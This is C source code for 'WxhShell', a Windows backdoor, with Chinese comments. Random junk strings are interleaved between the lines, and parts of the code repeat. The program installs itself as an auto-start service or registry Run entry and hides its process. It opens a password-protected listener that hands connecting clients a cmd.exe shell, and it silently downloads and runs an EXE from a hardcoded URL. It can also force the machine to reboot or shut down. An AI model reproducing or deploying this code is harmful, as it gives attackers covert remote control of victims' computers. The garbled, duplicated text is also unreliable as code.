NI static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }Y~<|vZ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sdzl[K/} -3GlpC22 HANDLE hProcess; 6N\f>c PROCESS_BASIC_INFORMATION pbi; fphi['X @|2sF HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f7_V ] if(NULL == hInst ) return 0; 0_&5S`tj H |%'$oWp g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =D3K})& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;$Pjl8\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -|DBO0q he!Uq%e if (!NtQueryInformationProcess) return 0; )NLjv=ql ?B32,AS@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +/>XOY|Ie if(!hProcess) return 0; ^aI$97Li aY8QYK ;?^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >F5E^DY ^Lc, w CloseHandle(hProcess); _T.T[%-&= #z#`EBXV$6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fR&x5Ika0 if(hProcess==NULL) return 0; O0_kLH$. LjySO2 HMODULE hMod; jZgCDA8Mr! char procName[255];
TcpaZ
'x unsigned long cbNeeded; \AOHZ r e~ %=H 0n if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /k.?x] Ab _ SJFuv/ CloseHandle(hProcess); ;;
?OS /5Tp)h| if(strstr(procName,"services")) return 1; // 以服务启动 p~yGp]yJ9 /_mU%fl return 0; // 注册表启动 GK&R,q5} } 9P& \2/ { |.?$:D&6 // 主模块 y:YJv x6&4 int StartWxhshell(LPSTR lpCmdLine) 4Z0Y8y8) { xM:9XhH1 SOCKET wsl; J+u z{ BOOL val=TRUE; m](q,65 2 int port=0; (mgv:<c;BA struct sockaddr_in door; 1StaQUB [5-3PuT&9 if(wscfg.ws_autoins) Install(); Z#zXary5s AP9>_0= port=atoi(lpCmdLine); hQ}y(2A.XI \hDjZ if(port<=0) port=wscfg.ws_port; 5Ve
T8/7Q #{g6'9PMz WSADATA data; h3Y|0-D if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;<H\{w@D )sLXtV)nm6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $
S]l% setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +:&|]$8< door.sin_family = AF_INET; h|N!U/(U door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yu:!l> door.sin_port = htons(port); <_#a%+5d Su]p6B if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n{=N f|= closesocket(wsl); Cznp(z return 1; AEo } Gg3<
}( .&rL>A2U if(listen(wsl,2) == INVALID_SOCKET) { k? !'OHmBL closesocket(wsl); w">-r}HnJ return 1; Rv|X\Wm } jfjT::f>l Wxhshell(wsl); Z`x*Igf8 WSACleanup(); 6Gh3r *eAzk2 return 0; L+Q.y~ :y^%I xs{1 } ?dY|,_O -GT&46hX // 以NT服务方式启动 kZNVUhW6S VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x%%OgO+> { >=d%t6%( DWORD status = 0; M5c~-}Ay DWORD specificError = 0xfffffff; ,Kwtp)EX L]{1@~E:q serviceStatus.dwServiceType = SERVICE_WIN32; -}9># <v serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8'o6: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L[O.]2 serviceStatus.dwWin32ExitCode = 0; |%12Vr]J serviceStatus.dwServiceSpecificExitCode = 0; 0 ![ serviceStatus.dwCheckPoint = 0; ?(>fB2^ serviceStatus.dwWaitHint = 0; (!0fmL */y (~O6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rp_)LA if (hServiceStatusHandle==0) return; WbGN
5?9Q N_R(i3c6U! status = GetLastError(); _
cm^Fi5 if (status!=NO_ERROR) /7hC
/!@ { 'ARbJ1a serviceStatus.dwCurrentState = SERVICE_STOPPED; D\k'Eez serviceStatus.dwCheckPoint = 0; mcq.*at serviceStatus.dwWaitHint = 0; % jSB9 serviceStatus.dwWin32ExitCode = status; MhZ\]CAs9 serviceStatus.dwServiceSpecificExitCode = specificError; d#-'DO{k SetServiceStatus(hServiceStatusHandle, &serviceStatus); lC'U3Q& return; _7b' i6- } y8$I= 89\DS!\x9 serviceStatus.dwCurrentState = SERVICE_RUNNING; >Qx
:l#B serviceStatus.dwCheckPoint = 0; 1)hO!% serviceStatus.dwWaitHint = 0; NM4b]> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kn&>4/') } lB*HLC # b94S?dq // 处理NT服务事件,比如:启动、停止 |:,i VOID WINAPI NTServiceHandler(DWORD fdwControl) ZiaHLpk { ]4eIhj? switch(fdwControl) ' ?uwUBi { #TPS?+( case SERVICE_CONTROL_STOP: ph>0?Z =bn serviceStatus.dwWin32ExitCode = 0; jW;g{5X serviceStatus.dwCurrentState = SERVICE_STOPPED; Pd04 serviceStatus.dwCheckPoint = 0; [^0 S#,L serviceStatus.dwWaitHint = 0; &*#Obv { bE6bx6=u SetServiceStatus(hServiceStatusHandle, &serviceStatus); S(PU"}vZy } !yD$fY return; HUalD3
\ case SERVICE_CONTROL_PAUSE: OQiyAyX serviceStatus.dwCurrentState = SERVICE_PAUSED; ;S+]Z!5LT break; U5ME`lN*` case SERVICE_CONTROL_CONTINUE: hj,y l& serviceStatus.dwCurrentState = SERVICE_RUNNING; SaFNPnk= break; 9i+.iuE%Bu case SERVICE_CONTROL_INTERROGATE: ndHUQ$/( break; `l0"4[? }; U?=-V8#M| SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;VS$xnZ } mOfTq]
@B sw+vyBV)r // 标准应用程序主函数 1.I58(0~+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *;[g Ga~ { 5+[ 3@ MJ<jF(_= // 获取操作系统版本 ]h%~'8g, OsIsNt=GetOsVer(); *AJYSa,z GetModuleFileName(NULL,ExeFile,MAX_PATH); ]XEUD1N;I 2:G/Oj h&] // 从命令行安装 WB 5M![ if(strpbrk(lpCmdLine,"iI")) Install(); zI"1.^Trn JKA%$l0 // 下载执行文件 J~|:Q.Rt` if(wscfg.ws_downexe) { c\OLf_Uf if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ogu";p( WinExec(wscfg.ws_filenam,SW_HIDE); %r]V:d+ } J*4T|#0 A,4Z{f83 if(!OsIsNt) { -+y3~^EYm, // 如果时win9x,隐藏进程并且设置为注册表启动 22@w: HideProc(); n;e.N:p StartWxhshell(lpCmdLine); %+@<T<>J<k } EIF"{,m else 6cXZ3;a if(StartFromService()) ''H;/&nDX // 以服务方式启动 t5k=ngA StartServiceCtrlDispatcher(DispatchTable); eI1C0Uz1
else ?g4S51zpp // 普通方式启动 l7#2
e ORm StartWxhshell(lpCmdLine); 65l9dM2 w^MiyX return 0; &] O^d4/ } a+<{!+3v sp6A*mwl EbnV"]1 <=]:ED $V@ =========================================== )yUSuK(Vu 95sK ;`rE+ 3|BB#; +NTC!/ M8${&&[; 7M<co," " C(n_*8{ cUr5x8<W). #include <stdio.h> _ ( $U\FW #include <string.h> 7{p6&xXx #include <windows.h> pkc*toW #include <winsock2.h> g`dAj4B #include <winsvc.h> W1ql[DqE{ #include <urlmon.h> bMGXx>x yH0vESgv #pragma comment (lib, "Ws2_32.lib") S]?I7_ #pragma comment (lib, "urlmon.lib") gwDVWhq jD?*sd #define MAX_USER 100 // 最大客户端连接数 dH)\zCt #define BUF_SOCK 200 // sock buffer IHv>V9yiG #define KEY_BUFF 255 // 输入 buffer t:YMF$Z KM/c^a4V #define REBOOT 0 // 重启 ufJHC06 #define SHUTDOWN 1 // 关机 |%@pjJ`3 !d&SVS^mo #define DEF_PORT 5000 // 监听端口 y>0Gmr Jk57| )/ #define REG_LEN 16 // 注册表键长度 T@d4NF# #define SVC_LEN 80 // NT服务名长度 Bh;N:{&^Eu {bNVNG^ // 从dll定义API }(!3)k7* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h059 DiH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >dnDN3x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uOPLJ?% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8aTo
TA7JA 8;O /x // wxhshell配置信息 kV4,45r struct WSCFG { "] ]aF1 int ws_port; // 监听端口 ~0rvrDDg char ws_passstr[REG_LEN]; // 口令 @4Lol2 int ws_autoins; // 安装标记, 1=yes 0=no ,Bl_6ZaL char ws_regname[REG_LEN]; // 注册表键名 ;0-R"c)- char ws_svcname[REG_LEN]; // 服务名 hbm#H7Y char ws_svcdisp[SVC_LEN]; // 服务显示名 d(C5i8d char ws_svcdesc[SVC_LEN]; // 服务描述信息 e6Kyu* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QObHW[:F int ws_downexe; // 下载执行标记, 1=yes 0=no 5ljEh - char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V`}u:t7r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :XB^IyO-A aX?
tnDv }; W8M(@*
T Z<#h$XUA // default Wxhshell configuration Lc0=5]D struct WSCFG wscfg={DEF_PORT, ;Qidf}: "xuhuanlingzhe", [`'K.-?# 1, T3PwM2em_` "Wxhshell", d?aZk-|c "Wxhshell", ,3W,M=j) "WxhShell Service", Y?:"nhN "Wrsky Windows CmdShell Service", <MJ-w1A "Please Input Your Password: ", mpD[k9`x# 1, r |2{(+ "http://www.wrsky.com/wxhshell.exe", c"P:p%\m&u "Wxhshell.exe" S}6xkX }; T}Wse{ 9JO1O:W // 消息定义模块 TP mb]j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fa!8+kfi char *msg_ws_prompt="\n\r? for help\n\r#>"; >^D5D%" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FY
pspv?4 char *msg_ws_ext="\n\rExit."; V^_U=Ed@M char *msg_ws_end="\n\rQuit."; #lF 2qw char *msg_ws_boot="\n\rReboot..."; WTu!/J<\ char *msg_ws_poff="\n\rShutdown..."; dte-2?%~j char *msg_ws_down="\n\rSave to "; f |NXibmP uCc5) char *msg_ws_err="\n\rErr!"; &.JJhX char *msg_ws_ok="\n\rOK!"; vJe c+a gUme({h&| char ExeFile[MAX_PATH]; oiQ:&$y int nUser = 0; 'ql<R0g HANDLE handles[MAX_USER]; XW:%YTv int OsIsNt; BOv ^L?)*Z WQMoAPfqL SERVICE_STATUS serviceStatus; <4TF ]5 SERVICE_STATUS_HANDLE hServiceStatusHandle; pW_mS| *A0*.>@N // 函数声明 `E|>K\ int Install(void); b{;LbHq+G int Uninstall(void); $Km~x int DownloadFile(char *sURL, SOCKET wsh); x M{SFF int Boot(int flag); 7{38g void HideProc(void); iyr<qtwK int GetOsVer(void); U "v=XK)! int Wxhshell(SOCKET wsl); M|7][!<G! void TalkWithClient(void *cs); U5[r&Y
D int CmdShell(SOCKET sock); py6O\` \ int StartFromService(void); `t+;[G>ZE int StartWxhshell(LPSTR lpCmdLine); FBa-gm<9 L$^)QxH7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >J{e_C2ZS VOID WINAPI NTServiceHandler( DWORD fdwControl ); zICrp zb.sh // 数据结构和表定义 S 9;FD 3 SERVICE_TABLE_ENTRY DispatchTable[] = Uurpho_~ { h{^MdYJ {wscfg.ws_svcname, NTServiceMain}, "g5MltH {NULL, NULL} NT{'BJ }; izLB4pk$ [X kWPx` // 自我安装 B?ipo,2~{ int Install(void) Nzb=h/; { !w/]V{9`X char svExeFile[MAX_PATH]; vd/ BO HKEY key; 8L[\(~Zf strcpy(svExeFile,ExeFile); #4V->I d}wE4(]b // 如果是win9x系统,修改注册表设为自启动 EjP)e; if(!OsIsNt) { .2y @@g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @eYD@! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f6m
h_l RegCloseKey(key); G<Urj+3/Xo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3&R1C>JS ] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fONycXM] RegCloseKey(key); ?gCP"~ return 0; v)nBp\fjxp } %&eBkN!T } +No Ve# } _p<wATv?7t else { %&wi@ *# :0p$r
pJP // 如果是NT以上系统,安装为系统服务 HC"yC;_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $|VdGRZ1 if (schSCManager!=0) qR
kPl!5 { D4*_/,} SC_HANDLE schService = CreateService rr2^sQ;_ ( [@ NW schSCManager, <&HHo>rl wscfg.ws_svcname, ]+>Kl>@ wscfg.ws_svcdisp, 0CI\Yd= SERVICE_ALL_ACCESS, %K0Wm#) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jVna;o) SERVICE_AUTO_START, k<RaC= SERVICE_ERROR_NORMAL, `:d\L
H svExeFile, A2.4#Qb' NULL, fsWPU]\) NULL, 4D6LP* NULL, kJ)Z{hy NULL, Ob]J!. NULL ()<?^lr33 ); lInf,Q7W if (schService!=0) [buLo*C4: { +kq+x6& CloseServiceHandle(schService); fFXnD CloseServiceHandle(schSCManager);
9&s>RJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J2k4k strcat(svExeFile,wscfg.ws_svcname); 28j/K=0( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vZPBjloT!. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WsT RegCloseKey(key); }4?z<. V return 0; j%gle%_ } hb1eEn } !1l~'/r CloseServiceHandle(schSCManager); I(b]V!mj: } NzS`s,N4/0 } uW4.Q_O!H 0XI6gPo% return 1; 9[[$5t`8 } XJ1Bl ,M$h3B\;r // 自我卸载 FLIU}doc int Uninstall(void) 'ZAIe7i& { KLjvPT\ HKEY key;
|{MXDx V/RV,K1/ if(!OsIsNt) { ^JGwCHeb|H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H!|g?"C RegDeleteValue(key,wscfg.ws_regname); aJ[|80U RegCloseKey(key); KfQ?b_H. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lzx2An@R RegDeleteValue(key,wscfg.ws_regname); T&j:gg RegCloseKey(key); pk6<wAs*?# return 0; A>)Ced! } RQ4+EW1G } |gU)6}V@ } CD4@0Z+ else { Z_mQpt|y 2"WP>>b80 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ER;\Aes*? if (schSCManager!=0) @Thrizh { Q'YakEv >= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hfg
^z5 if (schService!=0) u5Mg { uvi&! )x if(DeleteService(schService)!=0) { H%0WD_ CloseServiceHandle(schService); yi2F#o 'K CloseServiceHandle(schSCManager); 3CPSyF return 0; Hxn#vAc } !t?5U_on CloseServiceHandle(schService); |O;vWn'U2 } ~.z82m CloseServiceHandle(schSCManager); EXR6Vb, } o
^ 08< } -CALU X i%MR<M return 1; a(uQGyr[k1 } nN>Uh T u3DFgl3-7 // 从指定url下载文件 ;zSV~G6- int DownloadFile(char *sURL, SOCKET wsh) .tsXQf { S+?*l4QK HRESULT hr; .5tXwxad" char seps[]= "/";
U^-RyE!} char *token; Ifq|MZ\ char *file; |7.X)h` char myURL[MAX_PATH]; |1Nz8Vr. char myFILE[MAX_PATH]; "o@R}_4]q \2Kl]G(w%y strcpy(myURL,sURL); 1+l[P9?R[ token=strtok(myURL,seps); NkQain9 while(token!=NULL) BJqb'Hjd {
@;[. #hK file=token; \;+b1 token=strtok(NULL,seps); r)<n)eXeD } F^!mgU X 5yp GetCurrentDirectory(MAX_PATH,myFILE); VD{_6 strcat(myFILE, "\\"); (unJwh{7Q strcat(myFILE, file); QdIoK7J 9 send(wsh,myFILE,strlen(myFILE),0); @d|]BqQ4jh send(wsh,"...",3,0); 7f~7vydZ} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (e3?--~b6 if(hr==S_OK) iT1HbAT] return 0; _$v$v$74^ else b+BX >$ return 1; 0%3T'N% Tn$|
Xa+:s } NE Z ]% k7z{q/]M // 系统电源模块 4Q\~l( int Boot(int flag) n>%TIoY { eT8h:+k HANDLE hToken; , qhv( TOKEN_PRIVILEGES tkp; aIN?|Ch /ZSdY_%s if(OsIsNt) { u#Uc6? E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JZ-M<rcC LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dw7h@9\y tkp.PrivilegeCount = 1; ML
X: S? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BFn}~\wzK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?=?9a if(flag==REBOOT) { yF^)H{yx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) opCQ=G1 return 0; AOCiIPw
} 2K2jko9'a else { M]e _@:! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r}t%DH return 0; oc&yz>%q } AFNE1q;{\ } JZcW? Or else { ' :,p6 if(flag==REBOOT) { , pr ",= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =v=H{*dWA return 0; ?s: 2~Qlu } QBT_H"[ else { v>mr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9{{CNy
p return 0; #'kVW{ } a~[]Ye@H } u|E9X[% iI%"]- 0@1 return 1; ^VB_>|UN4 } ~r>N w1|YR // win9x进程隐藏模块 LgS.%Mn void HideProc(void) `=~d^wKYJ3 { :+|os" i6h , Aw3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4 5\%2un if ( hKernel != NULL ) d[I}+%{[ { %y;Cgo[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); | (a<b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N{6Lvq[8 FreeLibrary(hKernel); Rx*T7*xg{ } SI3ek9|XU 4w^B&e% return; Xi_>hL+R( } KP7bU9odJ W|3XD-v@ // 获取操作系统版本 uAR!JJ int GetOsVer(void) ~wIVw} { B2%)G$B OSVERSIONINFO winfo; vbmSbZ"y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LWc}j`Wd GetVersionEx(&winfo); 59O;`y0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nI%0u<=d return 1; {j[[E/8N!y else =Z iyT$p return 0; D Y($ } Ob?>zsx "[(_C&Ot4 // 客户端句柄模块 )h,+>U@ int Wxhshell(SOCKET wsl) `!DrB08A { 9j:t}HV SOCKET wsh; <wxI>T }b struct sockaddr_in client; %up]"L&i DWORD myID; cu]2`DF eb2~$ ,$ while(nUser<MAX_USER) *@lNL=%R { M~;mamTP int nSize=sizeof(client); ZebXcT ,41 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9k ]$MR if(wsh==INVALID_SOCKET) return 1; RG[3LX/ ~d ~$fR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |&3m '"( if(handles[nUser]==0) qih7 closesocket(wsh); s<|.vVi" else O82T| 0uw nUser++; eCMcr !. } Gk*Mx6|N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vY<(3[pp CTbdY,=B return 0; zF.rsNY } x
SF#ys4v eP|:b & // 关闭 socket FD*`$.e3\ void CloseIt(SOCKET wsh) >IC.Zt@ { *j2P#et closesocket(wsh); EYd`qk3 nUser--; BS>|M}G)r ExitThread(0); bgqN&J)Jr) } QS,IM>Nr iDlIx8PI // 客户端请求句柄 $[}31=0 void TalkWithClient(void *cs) {7[^L1 { S3i%7f^C?N EQ8jxr<p SOCKET wsh=(SOCKET)cs; yJc<;Qx char pwd[SVC_LEN]; ^.&uYF& char cmd[KEY_BUFF]; uO>$,s char chr[1]; C[gCwDwl int i,j; cPi 3UjY~ "2}04b|" while (nUser < MAX_USER) { ;FQAL@"Yj *qj @y'1\ if(wscfg.ws_passstr) { 4Z"DF)+} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !m^;Apuy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Az=)q4Q //ZeroMemory(pwd,KEY_BUFF); <33[qt~ i=0; :h=];^/E while(i<SVC_LEN) { R+#|<e5@%o 49^;T;'v // 设置超时 #+|{l*> fd_set FdRead; !>Db struct timeval TimeOut; SfyZ,0 FD_ZERO(&FdRead); )t9<cJ= FD_SET(wsh,&FdRead); 2PE|4zG TimeOut.tv_sec=8; 'W3>lAPx! TimeOut.tv_usec=0; _)O1v%]"4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9xyj,;P> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +^Eruv+F ?P,z^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;RB]awE pwd=chr[0]; IUAx*R if(chr[0]==0xd || chr[0]==0xa) { X,:^})] pwd=0; 8]]uk=P break; 4 FW~Y } zJ93EtlF i++; M9HM: } @
U'g}K \Pi\c~)Pr // 如果是非法用户,关闭 socket 57* z0< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QxH%4 )? } x5YW6R.<t yhJH3< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V$VqYy9 * send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sI7d?+ a$yAF4HR< while(1) { ~ P"@^cq &YGd!Q ZeroMemory(cmd,KEY_BUFF); \ ,ARYwd BaZ$p O^ // 自动支持客户端 telnet标准 P}29wr IZ j=0; JS<S?j?*/ while(j<KEY_BUFF) { dIg/g~ t" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z0+LD cmd[j]=chr[0]; f6vhW66:?x if(chr[0]==0xa || chr[0]==0xd) { 3_|<CE6 cmd[j]=0; Xyy;BO: break; >h1 3i@`r } c[J?`8 j++; b3F)$UQ } 3u#bx1 (RVe,0y // 下载文件 M<^]Ywq*p if(strstr(cmd,"http://")) { _QBN/KE9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); mivb}cKM if(DownloadFile(cmd,wsh)) |a4cER.'2^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); /4/'&tY else :dq.@:+<R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EQI9J#;+ } M.fAFL
else { N8x[8Rp $`j%z@[g switch(cmd[0]) { ,1/O2aQ%\0 9$[6\jMh // 帮助 9<n2-l|) case '?': { Ln:6@Ok)5% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $inlI_ break; fwQVx Je } YBh|\ // 安装 )U12Rshl case 'i': { >[}lC7 z, if(Install()) R !g'zS' send(wsh,msg_ws_err,strlen(msg_ws_err),0); m%zo? e else 3LGX ^J<f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fF6bEJl3 break; RO+ jVY~H- } Ov8^6O // 卸载 QN47+)cVt" case 'r': { Vu.VH([b]Q if(Uninstall()) &O
+?#3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); OQW%nF9~ else Kzw br?&z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S[ch/ break; L~oy|K67 } "<Ozoo1&w // 显示 wxhshell 所在路径 L4O.= *P1 case 'p': { fGZ56eH: char svExeFile[MAX_PATH]; &Va="HNKt strcpy(svExeFile,"\n\r"); E{;F4wT_@ strcat(svExeFile,ExeFile); v[;R(pt? send(wsh,svExeFile,strlen(svExeFile),0); )
>;7"v break; }NjZfBQW` } Ri>4:V3K // 重启 nTsKJX%\ case 'b': { Pi+pQFz5 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %k%%3L, if(Boot(REBOOT)) umT * send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9|D*}OY> else { e5RF6roxO closesocket(wsh); I(<9e"1O ExitThread(0); Az7
]qb } Su/8P[q_ break; {W+IUvn } vf&_
N // 关机 RW{y.WhB case 'd': { U$yy7}g send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QyghNImp if(Boot(SHUTDOWN)) (}g4}A@x send(wsh,msg_ws_err,strlen(msg_ws_err),0); GY>G}bfh else { 'C4cS[1 closesocket(wsh); LBxmozT ExitThread(0); Vv54;Js9 } `j1oxJm break; azz=,^U# } |\zzOfaO // 获取shell zu3Fi= |0 case 's': { H )51J:4 CmdShell(wsh); Y5CDdn closesocket(wsh); XGuxd ExitThread(0); +0}z3T1L break; *
N]^(+/A } y'aK92pF: // 退出 cX!C/`ew> case 'x': { WNY:HH send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
(C;Q< CloseIt(wsh); Rh}}8 sv break; HYg! <y } h1t~hrq // 离开 5U-SIG* case 'q': { ]A;.}1' send(wsh,msg_ws_end,strlen(msg_ws_end),0); yky%+@2q closesocket(wsh); lD^c_b WSACleanup(); 0G31Kou exit(1); &szYa-K* break; V408uy-M } :8K}e]!c1 } ?K+q~DzNSD } ~NZL~p ;j.-6#n // 提示信息 F\, vIS if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [~PR\qm } Ur]/kij } o%bf7)~s |1GOm=GNK return; 6Df*wi!jI } ,<N{Y[n]e ]1FLG*sB // shell模块句柄 TjDtNE int CmdShell(SOCKET sock) 'hE'h?-7 { qA;Gl"HF STARTUPINFO si; uu9IUqEq2 ZeroMemory(&si,sizeof(si)); (\D E1q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d~AL4~} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^U5Qb"hz PROCESS_INFORMATION ProcessInfo; "~=-Q#xO char cmdline[]="cmd"; #dKy{Q3he CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vm8@LA return 0; )X;051Q } j+fib} 8} J5(0J7C // 自身启动模式 MVnN0K4 int StartFromService(void) U?an\rv { IU<lF) PF$ typedef struct (i L*1f { 8v z h5,U DWORD ExitStatus; D Qz+t DWORD PebBaseAddress; k 3H0$1 DWORD AffinityMask; DF_wMv:>^ DWORD BasePriority; GGnlkp& E ULONG UniqueProcessId; 8\"Gs z ULONG InheritedFromUniqueProcessId; 81"` B2 } PROCESS_BASIC_INFORMATION; Pz34a@%" LPBa!fq PROCNTQSIP NtQueryInformationProcess; Ui!l3_O 5JhvYsf3_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I?St}Tl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5D.Sg;\ j g//I<D HANDLE hProcess; e
pp04~ PROCESS_BASIC_INFORMATION pbi; 7*j!ZUzp Q5ff&CE HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JOpH
Z? if(NULL == hInst ) return 0; T>]T= s;YbZ*oaMe g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {1Y@%e g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); od{\z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4d%0a%Z q\}+]|nGs if (!NtQueryInformationProcess) return 0; ,cL;,YN 5@%.wb4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]iGeqwT if(!hProcess) return 0; ;1[Z&Uv8 8q%y(e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "!D y[J ^~I@]5Pq CloseHandle(hProcess); +}N'Xa/Jt t/Y0e#9, hProcess = 